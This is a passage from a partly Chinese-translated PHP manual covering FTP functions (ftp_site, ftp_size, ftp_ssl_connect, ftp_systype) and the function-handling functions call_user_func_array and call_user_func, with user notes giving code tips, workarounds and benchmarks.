ftp_site() 函数向 FTP 服务器发送由参数 cmd 指定的命令。SITE 命令是非标准化的，不同的服务器不尽相同。主要用于处理文件权限以及组成员等事情。

例子 1. 向一个 FTP 服务器发送一条 SITE 命令

<?php
/* Connect to FTP server */
$conn = ftp_connect('ftp.example.com');
if (!$conn) die('Unable to connect to ftp.example.com');

/* Login as "user" with password "pass" */
if (!ftp_login($conn, 'user', 'pass')) die('Error logging into ftp.example.com');

/* Issue: "SITE CHMOD 0600 /home/user/privatefile" command to ftp server */
if (ftp_site($conn, 'CHMOD 0600 /home/user/privatefile')) {
   echo "Command executed successfully.\n";
} else {
   die('Command failed.');
}
?>

如果成功则返回 TRUE，失败则返回 FALSE。

参见 ftp_raw()。

add a note add a note User Contributed Notes
Marc
05-Aug-2003 10:02
Use ftp_raw() (PHP 5+) instead of ftp_site() if you need the results of the remote command.
webmaster at beezm dot net
18-Jun-2003 02:52
I wrote some functions for an ftp server for windows called GuildFTPd.

Here they are, they are pretty much so self explanitory:
<?
function guildftpd_adduser($ftp_stream,$group,$username,$password){
   ftp_site($ftp_stream,"SITE ADDUSER $group $username $password");
}
function guildftpd_addgroup($ftp_stream,$groupname){
   ftp_site($ftp_stream,"SITE ADDGROUP $groupname");
}
function guildftpd_deluser($ftp_stream,$username){
   ftp_site($ftp_stream,"SITE DELUSER $username");
}
function guildftpd_addpath($ftp_stream,$username,$path,$vpath){
   ftp_site($ftp_stream,"SITE ADDPATH $username $path $vpath");
}
function guildftpd_delpath($ftp_stream,$username,$path,$vpath){
   ftp_site($ftp_stream,"SITE DELPATH $username $path $vpath");
}
function guildftpd_anon($ftp_stream){
   ftp_site($ftp_stream,"SITE ANON ALLOW");
}
function guildftpd_anond($ftp_stream){
   ftp_site($ftp_stream,"SITE ANON DENY");
}
function guildftpd_chpass($ftp_stream,$user,$pass){
   ftp_site($ftp_stream,"SITE CHPASS $user $pass");
}
function guildftpd_disable($ftp_stream,$user){
   ftp_site($ftp_stream,"SITE DISABLE $user");
}
function guildftpd_enable($ftp_stream,$user){
   ftp_site($ftp_stream,"SITE ENABLE $user");
}
function guildftpd_who($ftp_stream){
   $who = ftp_site($ftp_stream,"SITE WHO");
}
function guildftpd_kick($ftp_stream,$user);
   ftp_site($ftp_stream,"SITE KICK $user");
}
function guildftpd_msg($ftp_stream,$text);
   ftp_site($ftp_stream,"SITE MSG $text");
}
?>
to at mail dot isec dot pt
21-Nov-2002 09:20
Hya,
  Recently I had to work with FTP over PHP, since I didn't found any help about this topic I decided to post this here. If you need to chmod one file, I tested this on the ftp server using a ftp client and after I knew that the ftp server supported chmod I used the following commands:
$upload = ftp_put($conn_id, "/home/to/public_html/index.php", $source_file, FTP_ASCII);
$ch=@ftp_site($conn_id,"chmod 755 /home/to/public_html/index.php");

Hope this help!

T
daemorhedron
17-Nov-2002 09:32
I'd like to follow up with Ivan's observation there. Unless I am missing the obvious, which is entirely possible of course, this command is quite useless unless it returns the data from the SITE <foo> request.

Besides the obvious SITE HELP command, another one that would require catching the feedback would be the SITE LOCATE | SITE SEARCH commands. I completely recognize that SITE <foo> commands are indeed insanely proprietary, but the fact still remains that changing this to return the results, or at least having the option to do so (such as exec() and the like) would be vastly preferred to the current method of returning true/false values.

Thanks.
30-Jun-2001 12:36
site commands are extra-functionality provided by some ftp servers, and depend on the server :
e.g. trying "ftp> site help" (with an interactive ftp client) on a proftp server would give :

214-The following SITE extensions are recognized:
 RATIO -- show all ratios in effect
 The following SITE commands are recognized (* =>'s unimplemented).
 HELP    CHMOD
214 Direct comments to admin@ftp.blahblah.fr

while with wu-ftpd on can typically get :

214-The following SITE commands are recognized (* =>'s unimplemented).
   UMASK          GROUP          INDEX          GROUPS
   IDLE            GPASS          EXEC            CHECKMETHOD
   CHMOD          NEWER          ALIAS          CHECKSUM
   HELP            MINFO          CDPATH
214 blabla

Unfortunately, ftp_site only returns true or false. It would be nice to have a way to get the server's reply in full : ftp_site('help') return 1, which pretty much useless.

Hope that helps,

Ivan
add a note add a note

后退 | 起点 | 前进
ftp_set_option | 上一级 | ftp_size


ftp_size

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

ftp_size -- 返回指定文件的大小

说明

int ftp_size ( resource ftp_stream, string remote_file )

ftp_size() 函数以字节返回远程文件 remote_file 的大小。如果指定文件不存在或发生错误，则返回 -1。有些 FTP 服务器可能不支持此特性。

获取成功返回文件大小，否则返回 -1。

例子 1. ftp_size() 例子

<?php
$file = 'somefile.txt';

// connect to the server
$conn_id = ftp_connect($ftp_server);
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

$res = ftp_size($conn_id, $file);

if ($res != -1) {
    echo "size of $file is $res bytes";
} else {
    echo "couldn't get the size";
}

ftp_close($conn_id);
?>

参见 ftp_rawlist()。

add a note add a note User Contributed Notes
chuck at t8design dot com
24-May-2006 12:54
note that project_t4 at hotmail dot com's example above doesn't work in general, though it works on his Win2K/Apache server; as far as I can tell there is no way to check over ftp whether a directory exists.  This function's behavior given a directory name seems to be at least somewhat dependent on your OS, web server, or ftp server, I don't know which.
adams[AT]techweavers[DOT]net
22-Jun-2005 05:30
Well this function is nice but if you have files larger then 2.1Gb or 2.1 Billion Bytes you cannot get its size.
29-Sep-2004 09:10
To get a dirsize recursive you can use this simple function:

<?php # copyright by fackelkind | codeMaster
   function getRecDirSize ($connection, $dir){
       $temp = ftp_rawlist ($connection, "-alR $dir");
       foreach ($temp as $file){
           if (ereg ("([-d][rwxst-]+).* ([0-9]) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9]) ([0-9]{2}:[0-9]{2}) (.+)", $file, $regs)){
               $isdir = (substr ($regs[1],0,1) == "d");
               if (!$isdir)
                   $size += $regs[5];
           }
       }
       return $size;
   }
   $dirSize = getRecDirSize ($conID, "/");
?>
project_t4 at hotmail dot com
19-Mar-2004 03:03
Just to let people out there know, on my windows 2000 server running Apache and php i was returned 0 not -1 for directories.

foreach ($dir_list as $item)
   {
     if(ftp_size($conn_id, $item) == "0")
     {
     echo "<br>Directory:: ".$item;
     } else {
     echo "<br>File:: ".$item;
     }
   }

This outputs a list of the remote directory and indicates which items are directories and which are files.
nicke_ at at_h9k dot com
04-Oct-2003 09:48
This will return the filesize on remote host and the size if you download it in FTP_BINARY mode. If you are using FTP_ASCII in ftp_get() the size can be changed.
victor59 at yahoo dot com dot hk
23-Dec-2002 05:44
$file= 'filename with space.txt';
$size = ftp_size($this->ftp, urldecode($file) );

this one can correctly return the size
otherwize, it always return -1
add a note add a note

后退 | 起点 | 前进
ftp_site | 上一级 | ftp_ssl_connect


ftp_ssl_connect

(PHP 4 >= 4.3.0, PHP 5)

ftp_ssl_connect -- Opens an Secure SSL-FTP connection

说明

resource ftp_ssl_connect ( string host [, int port [, int timeout]] )

ftp_ssl_connect() opens a SSL-FTP connection to the specified host.

Why this function may not exist: ftp_ssl_connect() is only available if OpenSSL support is enabled into your version of PHP. If it's undefined and you've compiled FTP support then this is why. For Windows you must compile your own PHP binaries to support this function.

参数

host

The FTP server address. This parameter shouldn't have any trailing slashes and shouldn't be prefixed with ftp://.

port

This parameter specifies an alternate port to connect to. If it is omitted or set to zero, then the default FTP port, 21, will be used.

timeout

This parameter specifies the timeout for all subsequent network operations. If omitted, the default value is 90 seconds. The timeout can be changed and queried at any time with ftp_set_option() and ftp_get_option().

返回值

Returns a SSL-FTP stream on success or FALSE on error.

范例

例子 1. ftp_ssl_connect() example

<?php

// set up basic ssl connection
$conn_id = ftp_ssl_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

echo ftp_pwd($conn_id); // /

// close the ssl connection
ftp_close($conn_id);
?>

参见

ftp_connect()

add a note add a note User Contributed Notes
none
09-Feb-2005 11:24
I wasted a lot of time trying to get FTP over SSL/TLS working in PHP on Windows OS (with precompiled SSL PHP-packages etc.). However, it never worked for me.

I'm happy I found a nice solution now:
using "MovieIt Freely", a commandline FTP-Client, freeware at http://www.standardnetworks.com.
A nice tool that worked on all SSL/TLS-enabled FTP-Server for me.

Its easy to get it to interact with PHP:
a) Create a temporary batch-txt-file and therein write all your commands to be performed
b) then launch the program with exec() or backticks, let MovieIt read the batch-txt-file and forward/write down the log/results in a temporary results-txt-file
c) Finally read the log/results-txt-file

Check the manual for details.

Hope it helps. Cheers!
philip at php dot net
16-Jul-2004 09:08
Since ftp_ssl_connect() requires SSL compiled into PHP, Windows users will need to compile their own PHP this way or download it from another source.  Here's one such (and trusted) source:
* http://ftp.emini.dk/pub/php/win32/openssl/
moolder at gmx dot net
22-Jan-2004 10:56
Just remember: SSL FTP != SFTP

Differences: an SSL FTP connects on port 990, and you need an ftp server which will support this (seems like none in the SuSE linux distribution do). Even if you get this function to work, and it connects ok to a normal FTP server on port 21, data WILL NOT BE ENCRYPTED. If you don't believe me, go sniff it yourself!
add a note add a note

后退 | 起点 | 前进
ftp_size | 上一级 | ftp_systype


ftp_systype

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

ftp_systype -- 返回远程 FTP 服务器的系统类型

说明

string ftp_systype ( resource ftp_stream )

返回远程服务器的系统类型，发生错误则返回 FALSE。

例子 1. ftp_systype() 例子

<?php
// ftp connection
$ftp = ftp_connect('ftp.keliglia.com');
ftp_login($ftp, 'user', 'password');

// get the system type
if ($type = ftp_systype($ftp)) {
    echo "Keliglia is powered by $type\n";
} else {
    echo "Couldn't get the systype";
}
?>

本例将述出：

Keliglia is powered by UNIX

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ftp_ssl_connect | 上一级 | Function Handling Functions


Function Handling Functions

PHP 手册
后退 前进

XLII. Function Handling Functions

简介

These functions all handle various operations involved in working with functions.

需求

要编译本扩展模块不需要外部库文件。

安装

本函数库作为 PHP 内核的一部分，不用安装就能使用。

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

预定义常量

本扩展模块未定义任何常量。

目录
call_user_func_array -- Call a user function given with an array of parameters
call_user_func -- Call a user function given by the first parameter
create_function -- Create an anonymous (lambda-style) function
func_get_arg -- Return an item from the argument list
func_get_args -- Returns an array comprising a function's argument list
func_num_args -- Returns the number of arguments passed to the function
function_exists -- Return TRUE if the given function has been defined
get_defined_functions -- Returns an array of all defined functions
register_shutdown_function -- Register a function for execution on shutdown
register_tick_function -- Register a function for execution on each tick
unregister_tick_function -- De-register a function for execution on each tick

add a note add a note User Contributed Notes
Michael T. McGrew
13-May-2005 12:56
An interesting way to use functions is by putting other things than PHP in them, i.e. HTML CSS. This can be useful if you will be using a format for many pages. Yes, the include function can be used also, but by defining them in functions can make them more portable in a way and keep you from having to make many include files. You could use include() when one will be putting big portions of PHP, HTML, and/or CSS and will be using them in many pages. Then you could use PHP, HTML, and/or CSS in a function when it is smaller portions of code and only want it to be on a few pages.

I have been using include() for HTML and CSS in my early days of PHP coding, but I will be using functions for that a lot more now.

<?php function a() {  ?>
<style type="text/css">
table {
border: 1px dashed black;
background: #95EAFE;
text-align:left;
width:610px;
}
.linkbar {
font-family:sans-serif;
line-height:40px;
top:1px;
text-align:center;
width:200px;
height:10px;
}
</style>
<?php }  ?>

Now doing:
<?php a(); ?>
will return all of the CSS just as if you had wrote it on the actual page, or used include() . The same thing goes for HTML code inside a function. The possibilities are endless...
michael dot bommarito at gmail dot com
31-Jan-2005 03:28
I've developed an easy-to-use hack using these functions to emulate overloaded functions.  It's especially handy for constructors and/or C++ style templating.

Here's a little example to get you going.  This does the trick for most circumstances, and if you need more intelligent parsing, it's not too hard to implement with regex or a more suitable classification scheme.

N.B. Note the lack of whitespace between variable types in case strings.

class Matrix {

...

function Matrix() {
  $args = func_get_args();
  $argmatch = implode(",", array_map('gettype', $args));

  switch( $argmatch ) {
   case 'integer,integer':
     //initialize m x n matrix
     break;

   case 'integer,integer,integer':
     //initialize m x n matrix with constant c
     break;

   case 'integer,integer,float':
     //initialize m x n matrix with constant c
     break;

   case 'array':
     //initialize from array (2D....)
     break;

   case 'array,integer':
     //intialize from array (1D packed with m rows)
     break;

   default:
     //(void) overload?
     //error handling?
     break;
  }
}

...

}
php-note-2003-june-18 at ryandesign dot com
18-Jun-2003 11:22
Xavier's example is rather complicated, and his task would be much more simply accomplished by using classes. Define a base class to do the basic functions open, dump, and close, and create extension classes to override whatever behavior.

class foo {
  function open() {
   // Default functionality for open()
  }
  function dump() {
   // Default functionality for dump()
  }
  function close() {
   // Default functionality for close()
  }
}

class bar extends foo {
  function open() {
   // Override functionality of open()
  }
  // dump() and close() remain as in class foo
}
xmontero at dsitelecom dot com
24-Aug-2002 05:49
You can do some kind of overloading functions in PHP using "function_exists".

Let's suppose you want a script to call plugins that are php files and you want the plugins to "override" behaviours that if not overriden are used by default.

You might for example write a "mySQL table viewer" which displays a table and it "opens a table", "dumps the header", "dumps row-by-row" and then "closes the table".

Let's suppose you want a plugin for "Stocks" which prints negative stocks in red, so you want to override the "dumping row-by-row" to do that behaviour. Instead you do not want to have all the "default behaviour" repeated in the plugin.

You may then do the following:

1) Define a default plugin (ex: "default.php"

2) Write all your functions in default.php to open, dump and close, but add them a suffix:

open_table_default()
dump_header_default()
dump_row_default()
close_table_default()

3) Call your functions with a wrapper: Insetad of this:
open_table() or open_table_default() write this:

plugincall("open_table");

4) Then write a function called plugincall which uses function_exists() to see if you call one or the other function:

function plugincall($desired_function_name)
{

if( function_exists( $desired_function_name))
{
   //Call the plugin
   //Note the $ before the name
   $desired_function_name()
}
else
{
  $desired_function_name = $desired_function_name . "_default";
  if( function_exists($desired_function_name))
  {
     //Call the default
     //Note the $ before the name
     $desired_function_name()
  }
  else
  {
     // Nor the plugin nor the default were defined
  }
}

So, now, if the require_once(plugin.php) contains a function called "open_table()", it will be used. Instaed, "open_table_default()" will be used.

It's not like overloading functions, but it is very useful to write scripts ampliable by other programmers: If they write a function, it is used, if not, the default is used.

See ya!
Xavier Montero.
add a note add a note

后退 | 起点 | 前进
ftp_systype | 上一级 | call_user_func_array


call_user_func_array

(PHP 4 >= 4.0.4, PHP 5)

call_user_func_array -- Call a user function given with an array of parameters

Description

mixed call_user_func_array ( callback function, array param_arr )

Call a user defined function given by function, with the parameters in param_arr. For example:

例子 1. call_user_func_array() example

<?php
function debug($var, $val)
{
    echo "***DEBUGGING\nVARIABLE: $var\nVALUE:";
    if (is_array($val) || is_object($val) || is_resource($val)) {
        print_r($val);
    } else {
        echo "\n$val\n";
    }
    echo "***\n";
}

$c = mysql_connect();
$host = $_SERVER["SERVER_NAME"];

call_user_func_array('debug', array("host", $host));
call_user_func_array('debug', array("c", $c));
call_user_func_array('debug', array("_POST", $_POST));
?>

See also call_user_func(), and 有关 callback 类型的信息

add a note add a note User Contributed Notes
15-May-2006 05:43
For those wishing to implement call-by-name functionality in PHP, such as implemented e.g. in DB apis, here's a quick-n-dirty version for PHP 5 and up
<?php
/**
 * Call a user function using named instead of positional parameters.
 * If some of the named parameters are not present in the original function, they
 * will be silently discarded.
 * Does no special processing for call-by-ref functions...
 * @param string $function name of function to be called
 * @param array $params array containing parameters to be passed to the function using their name (ie array key)
 */
function call_user_func_named($function, $params)
{
   // make sure we do not throw exception if function not found: raise error instead...
   // (oh boy, we do like php 4 better than 5, don't we...)
   if (!function_exists($function))
   {
       trigger_error('call to unexisting function '.$function, E_USER_ERROR);
       return NULL;
   }
   $reflect = new ReflectionFunction($function);
   $real_params = array();
   foreach ($reflect->getParameters() as $i => $param)
   {
       $pname = $param->getName();
       if ($param->isPassedByReference())
       {
           /// @todo shall we raise some warning?
       }
       if (array_key_exists($pname, $params))
       {
           $real_params[] = $params[$pname];
       }
       else if ($param->isDefaultValueAvailable()) {
           $real_params[] = $param->getDefaultValue();
       }
       else
       {
           // missing required parameter: mark an error and exit
           //return new Exception('call to '.$function.' missing parameter nr. '.$i+1);
           trigger_error(sprintf('call to %s missing parameter nr. %d', $function, $i+1), E_USER_ERROR);
           return NULL;
       }
   }
   return call_user_func_array($function, $real_params);
}
?>
eugene at artprime dot ru
23-Dec-2005 06:59
<?php
  return call_user_func_array(
   array(new ReflectionClass($className), 'newInstance'),
   $functionParameters
  );
?>

Look here: http://www.zend.com/zend/week/week182.php#Heading1
crocodile2u at yandex dot ru
20-Dec-2005 09:06
Here is another version of createObjArray() function written here earlier by taylor.

Believing that using 'eval()' is at least "dirty", I came to the following solution (with a help of panchous - at phpclub dot ru forums ). This solution utilizes the new Reflection API.

<?php
function & createObjArray($type, $args = array()) {
   $reflection = new ReflectionClass($type);
   $output    = call_user_func_array(array(&$reflection, 'newInstance'), $args);
   return $output;
}
?>
Egor
16-Nov-2005 01:35
Note that, despite the name, this does work on builtin functions (and object methods with the array(&$obj, $method) syntax), not just user-defined functions and methods.
rrant (at) gmail (dot) com
10-Nov-2005 07:50
Just an extra for the post of amer at o2 dot pl:

If you need to call the PARENT method:
call_user_func_array(array('parent', 'method'), $args);

With that, if you need to call a constructor and/or add some extra code to the instantiation process:

<?php
function __construct() {
   // Get the arguments
   $args = func_get_args();
   // Initialize parent with arguments
   call_user_func_array(array('parent', '__construct'), $args);
   // ... Your Code Here ...
}
?>

Note that your constructor pass all the arguments to the parent constructor and it doesn't matter how many arguments you pass.

This is pretty useful for constructors with a variable number of arguments.
taylor
02-Jun-2005 08:51
I came up with a better solution to the problem that I solve below with createObjArray that maintains parameter type:

<?php

function createObjArray($type,$args=array()) {
     $paramstr = '';
     for ($i = 0; $i < count($args); $i++) {
           $paramstr .= '$args['.$i.'],';
     }
     $paramstr = rtrim($paramstr,',');

     return eval("return new $type($paramstr);");
}

?>

Would be good to add error checking, but it works.
taylor
08-May-2005 06:04
<?php
   /**
     * Create an object of a specified type using an array as the parameters
     * to the constructor.  NOTE: does not maintain proper
     * types for the arguments.  They are all converted to strings.
     * @param $type Type type of object to create (class name)
     * @param $args The arguments to pass to the constructor
     */
   function createObjArray($type, $args=array()) {
       if ( !class_exists($type) ) {
           return NULL;
       }

       // build argument list; be sure to escape string delimeters
       $func = create_function('$str', 'return str_replace("\'","\\\'",$str);');
       $sargs = "'" . join( "','", array_map($func,$args) ). "'";

       // build & eval code; return result
       $seval = "return new $type($sargs);";
       return eval($seval);
   }
?>
amer at o2 dot pl
21-Jan-2005 06:44
PLS notice that "patripaq at hotmail dot com" 's code will be valid if B EXTENDS A...
<?php
class B extends A{
...
}
?>
there>>"What I wanted to do is create an object that can manage any number and any kind of parameters."

BUT IT IS NOT A POINT AT ALL

If you need to call just function with parameters:
call_user_func_array('Foo',$args);

If you need to call CLASS method (NOT object):
call_user_func_array(array('class', 'Foo'),$args);

If you need to call OBJECT method:
call_user_func_array(array(&$Object, 'Foo'),$args);

If you need to call method of object of object:
call_user_func_array(array(&$Object->Object, 'Foo'),$args);

If you need to call object method from within the very same object (NOT CLASS!):
call_user_func_array(array(&$this, 'Foo'),args);

The call_user_func_array ITSELF can manage any number and any kind of parameters. It can handle ANY FUNCTION too as it is defined and that maybe partipaq wanted to manage.

What You actually need is object composition not inheritance. Make an instance from arguments.
<?php
...
class B{
   function __construct() {
     $args = func_get_args(); // Get arguments
     $this->OBJ = new A($args);
     call_user_func_array(array(&$this->OBJ, 'A'), $args );
   }
}
?>
Then there can be any number and any type of created object B parameters
james at gogo dot co dot nz
21-Nov-2004 09:19
Be aware the call_user_func_array always returns by value, as demonstrated here...

<?php
   function &foo(&$a)
   {
     return $a;
   }

   $b = 2;
   $c =& call_user_func_array('foo', array(&$b));
   $c++;
   echo $b . ' ' . $c;
?>

outputs "2 3", rather than the expected "3 3".

Here is a function you can use in place of call_user_func_array which returns a reference to the result of the function call.

<?php
   function &ref_call_user_func_array($callable, $args)
   {
       if(is_scalar($callable))
       {
           // $callable is the name of a function
           $call = $callable;
       }
       else
       {
           if(is_object($callable[0]))
           {
               // $callable is an object and a method name
               $call = "\$callable[0]->{$callable[1]}";
           }
           else
           {
               // $callable is a class name and a static method
               $call = "{$callable[0]}::{$callable[1]}";
           }
       }

       // Note because the keys in $args might be strings
       // we do this in a slightly round about way.
       $argumentString = array();
       $argumentKeys = array_keys($args);
       foreach($argumentKeys as $argK)
       {
           $argumentString[] = "\$args[$argumentKeys[$argK]]";
       }
       $argumentString = implode($argumentString, ', ');
       // Note also that eval doesn't return references, so we
       // work around it in this way...
       eval("\$result =& {$call}({$argumentString});");
       return $result;
   }
?>
php at pjt33 dot f2g dot net
25-Oct-2004 08:31
Note that, although it doesn't say so here or in the linked page with information about the callback type, the changelog ( http://www.php.net/ChangeLog-4.php#4.0.5 ) states that call_user_func_array in PHP 4.0.4 won't take an array as the first argument. This was added in 4.0.5.
patripaq at hotmail dot com
07-Aug-2004 06:49
I just started using PHP 5.0 and, so far, I'm loving it !  However, I had a problem the other day and thought it would be a good idea to inform other programmers about the solution I found to get around it.  It concerns the new __constructor() function and the call_user_func_array() function.  What I wanted to do is create an object that can manage any number and any kind of parameters.  Here's the problematic code:

<?php
//--------------------------
class A {
  function __construct() {
   $args = func_get_args(); // Get arguments
   // Class initialization...
  }
  function A() {
   $args = func_get_args(); // Get arguments
   call_user_func_array( array(&$this, '__construct'), $args ); // Infinite loop to B::__construct()...
  }
}

class B {
  function __construct() {
   $args = func_get_args(); // Get arguments
   call_user_func_array( array(&$this, 'A'), $args ); // Initialize parent with arguments
   // Class initialization...
  }
}

$obj = new B( 'param1', 'param2' );
//--------------------------
?>

I suppose you can guess where the problem is located... In the A::A() function, the call to __construct() using call_user_func_array() is redirected to B::__construct() instead of A::__construct().  The only way I found to specify which constructor function I wanted to call was to stop using A::__construct() and use the old fashion constructor instead.  If anyone can find a better way, feel free to add comments.  Here's my solution.  Hope it helps anyone.

<?php
//--------------------------
class A {
  function A() {
   $args = func_get_args(); // Get arguments
   // Class initialization...
  }
}

class B {
  function __construct() {
   $args = func_get_args(); // Get arguments
   call_user_func_array( array(&$this, 'A'), $args ); // Initialize parent with arguments
   // Class initialization...
  }
}

$obj = new B( 'param1', 'param2' );
//--------------------------
?>
hong dot nguyen at k-edge dot com
03-Apr-2004 01:37
call_user_func_array can pass parameters as reference:

<?php
call_user_func_array(array(&$obj,$method),array(&$arg1,$arg2,$arg3))
?>

Use it as work-around for "Call-time pass-by-reference has been deprecated".
mightye (at) mightye (dot) org
13-Mar-2004 01:19
From what I can tell, call_user_func_array *always* passes by value, even if the function asks for a reference (perhaps it duplicates the args before passing them?).
adamh at densi dot com
01-Aug-2003 02:58
call_user_func_array() is nifty for calling PHP functions which use variable argument length. For example:

<?php
$array = array(
 array("foo", "bar"),
 array("bat", "rat"),
);

$values = call_user_func_array("array_merge", $array);

var_dump($values);
?>

/* output:
array(4) {
  [0]=>
  string(3) "foo"
  [1]=>
  string(3) "bar"
  [2]=>
  string(3) "bat"
  [3]=>
  string(3) "rat"
}
*/

The neat feature is that $array could have any number of arrays inside it.
gord at fig dot org
07-May-2003 07:30
If you need to call object and class methods in PHP < 4.0.4, the following code ought to do the trick:

<?php
if (!function_exists('call_user_func_array')) {
   function call_user_func_array($func, $args)
   {
       $argString = '';
       $comma = '';
       for ($i = 0; $i < count($args); $i ++) {
           $argString .= $comma . "\$args[$i]";
           $comma = ', ';
       }

       if (is_array($func)) {
           $obj =& $func[0];
           $meth = $func[1];
           if (is_string($func[0])) {
               eval("\$retval = $obj::\$meth($argString);");
           } else {
               eval("\$retval = \$obj->\$meth($argString);");
           }
       } else {
           eval("\$retval = \$func($argString);");
       }
       return $retval;
   }
}
?>
nutbar at innocent dot com
13-Mar-2003 04:29
This function, combined with some others, can allow you to make some really easy & generic function macros (since real macros don't exist in PHP yet).

<?php
function my_printf() {
   $args = func_get_args();
   return call_user_func_array('printf', $args);
}
?>

This allows you to use my_printf() just as if it were printf() itself.  Very useful since you don't have to worry about how many arguments any functions take.
NOSPAM dot dont dot remove at thekid dot de
23-Jun-2002 07:19
Unified constructors in PHP4:

<?php
  class Object {
   function Object() {
     $args= func_get_args();
     call_user_func_array(array(&$this, '__construct'), $args);
   }

   function __construct($args= NULL) {
     var_dump($args);
   }
  }

  class Exception extends Object {
   var
     $message;

   function __construct($message) {
     $this->message= $message;
     parent::__construct();
   }
  }

  class IOException extends Exception {
  }

  var_dump(
   error_reporting(),
   zend_version(),
   phpversion()
  );

  $c= new IOException('file not found');

  echo '===> Result: '; var_dump($c);
?>
add a note add a note

后退 | 起点 | 前进
Function Handling Functions | 上一级 | call_user_func


call_user_func

(PHP 3 >= 3.0.3, PHP 4, PHP 5)

call_user_func -- Call a user function given by the first parameter

Description

mixed call_user_func ( callback function [, mixed parameter [, mixed ...]] )

Call a user defined function given by the function parameter. Take the following:

<?php
function barber($type)
{
    echo "You wanted a $type haircut, no problem";
}
call_user_func('barber', "mushroom");
call_user_func('barber', "shave");
?>

Object methods may also be invoked statically using this function by passing array($objectname, $methodname) to the function parameter.

<?php
class myclass {
    function say_hello()
    {
        echo "Hello!\n";
    }
}

$classname = "myclass";

call_user_func(array($classname, 'say_hello'));
?>

注: Note that the parameters for call_user_func() are not passed by reference.

<?php
function increment(&$var)
{
    $var++;
}

$a = 0;
call_user_func('increment', $a);
echo $a; // 0

call_user_func_array('increment', array(&$a)); // You can use this instead
echo $a; // 1
?>

See also: is_callable(), call_user_func_array(), 和 有关 callback 类型的信息.

add a note add a note User Contributed Notes
Maresa
14-Apr-2006 06:41
I tested the same code that insta at citiesunlimited dot com pasted on the following machines:

www1 machine:
OS:  FreeBSD 5.2.1-RELEASE
CPU: 2 x Intel(R) Xeon(TM) CPU 2.66GHz (2657.82-MHz 686-class CPU) with Hyperthreading
MEM: 1073217536 (1023 MB)
PHP 5.1.2 (cli)
PHP 4.4.1 (Web)

www2 machine:
OS:  Linux version 2.6.14-gentoo-r5 Gentoo 3.4.3-r1, ssp-3.4.3-0, pie-8.7.7)
CPU: 2 x Dual Core AMD Opteron(tm) Processor 265 stepping 02 1808.357 MHz
MEM: 2060388k total
PHP 5.1.2 (cli)
PHP Version 4.4.0-pl1-gentoo (web)

dev machine:
OS:  Linux version 2.6.15-gentoo-r1 Gentoo 3.3.5.20050130-r1, ssp-3.3.5.20050130-1, pie-8.7.7.1
CPU: Intel(R) Pentium(R) 4 CPU 2.00GHz stepping 04
MEM: 516384k total,
PHP 4.4.0-pl1-gentoo (cli)
PHP Version 4.4.0-pl1-gentoo (web)

The result are as follows:

www1 - CLI
Variable functions took 0.012186050415 seconds.
call_user_func took 0.0300550460815 seconds.
eval took 0.17235994339 seconds.

www1 - Web
Variable functions took 0.017616 seconds.
call_user_func took 0.034926 seconds.
eval took 0.149618 seconds

www2 - CLI
Variable functions took 0.0065491199493408 seconds.
call_user_func took 0.019452095031738 seconds.
eval took 0.10734891891479 seconds.

www2 - Web
Variable functions took 0.01565 seconds.
call_user_func took 0.02613 seconds.
eval took 0.132258 seconds.

dev - CLI
Variable functions took 0.025176 seconds.
call_user_func took 0.047402 seconds.
eval took 0.168196 seconds.

dev - Web
Variable functions took 0.025465 seconds.
call_user_func took 0.049713 seconds.
eval took 0.20154 seconds.

On www1 - CLI, eval is about 14 times slower than calling function by using variable.
On www1 - Web, eval is about 8.5 times slower (hmm interesting. Perhaps PHP4 is faster calculating eval than PHP5)

On www2 - CLI, eval is about 16 times slower than calling function by using variable.
On www2 - Web, eval is about 8.5 times slower (about same result as www1)

On dev - CLI, eval is about 6.6 times slower than calling function by using variable.
On dev - Web, eval is about 8 times slower (about same result as www1)

On the dev machine, CLI and web version of PHP is the same. and their speed difference between calling function using variable or eval does not differ that much compare to PHP5 VS PHP5
insta at citiesunlimited dot com
07-Feb-2006 04:15
I benchmarked the comparison in speed between variable functions, call_user_func, and eval.  My results are below:

Variable functions took 0.125958204269 seconds.
call_user_func took 0.485446929932 seconds.
eval took 2.78526711464 seconds.

This was run on a Compaq Proliant server, 180MHz Pentium Pro 256MB RAM.  Code is as follows:

<?php

function fa () { return 1; }
function fb () { return 1; }
function fc () { return 1; }

$calla = 'fa';
$callb = 'fb';
$callc = 'fc';

$time = microtime( true );
for( $i = 5000; $i--; ) {
   $x = 0;
   $x += $calla();
   $x += $callb();
   $x += $callc();
   if( $x != 3 ) die( 'Bad numbers' );
}
echo( "Variable functions took " . (microtime( true ) - $time) . " seconds.<br />" );

$time = microtime( true );
for( $i = 5000; $i--; ) {
   $x = 0;
   $x += call_user_func('fa', '');
   $x += call_user_func('fb', '');
   $x += call_user_func('fc', '');
   if( $x != 3 ) die( 'Bad numbers' );
}
echo( "call_user_func took " . (microtime( true ) - $time) . " seconds.<br />" );

$time = microtime( true );
for( $i = 5000; $i--; ) {
   $x = 0;
   eval( '$x += ' . $calla . '();' );
   eval( '$x += ' . $callb . '();' );
   eval( '$x += ' . $callc . '();' );
   if( $x != 3 ) die( 'Bad numbers' );
}
echo( "eval took " . (microtime( true ) - $time) . " seconds.<br />" );

?>
Marco
05-Oct-2005 04:42
>phil at gettcomm dot com
>22-May-2002 04:51
>if you need to get a reference back from a method, you can work around
>call_user_func()'s shortcomings like this:
>
Naaa! Having back a refererence is a real problem, but it can be solved by mean of eval(), instead of using call_user_func:

<code>
  class Node {
   var $name;
   var $child;
   function Node ( $name ) { $this->name = $name; }
   function &getChild () { return $this->child; }
  }
  $p = new Node ( 'Father' );
  $c = new Node ( 'Child' );
  $p->child = &$c;

  eval ( "\\$cref = &\\$p->getChild ();" );
  $cref->name = 'Another Child';

  // Prints out 'Another Child'
  echo "****** After eval c = " . $c->name . "\\n\\n";

</code>
php at REMOVEMEkennel17 dot co dot uk
09-Aug-2005 11:46
re comment by mw at lanfear dot com

I am using PHP 4.3.2 and that technique works fine here as well.
mw at lanfear dot com
27-Jul-2005 04:49
This function is actually quite useful for calling static methods on classes, which you CANNOT call as:

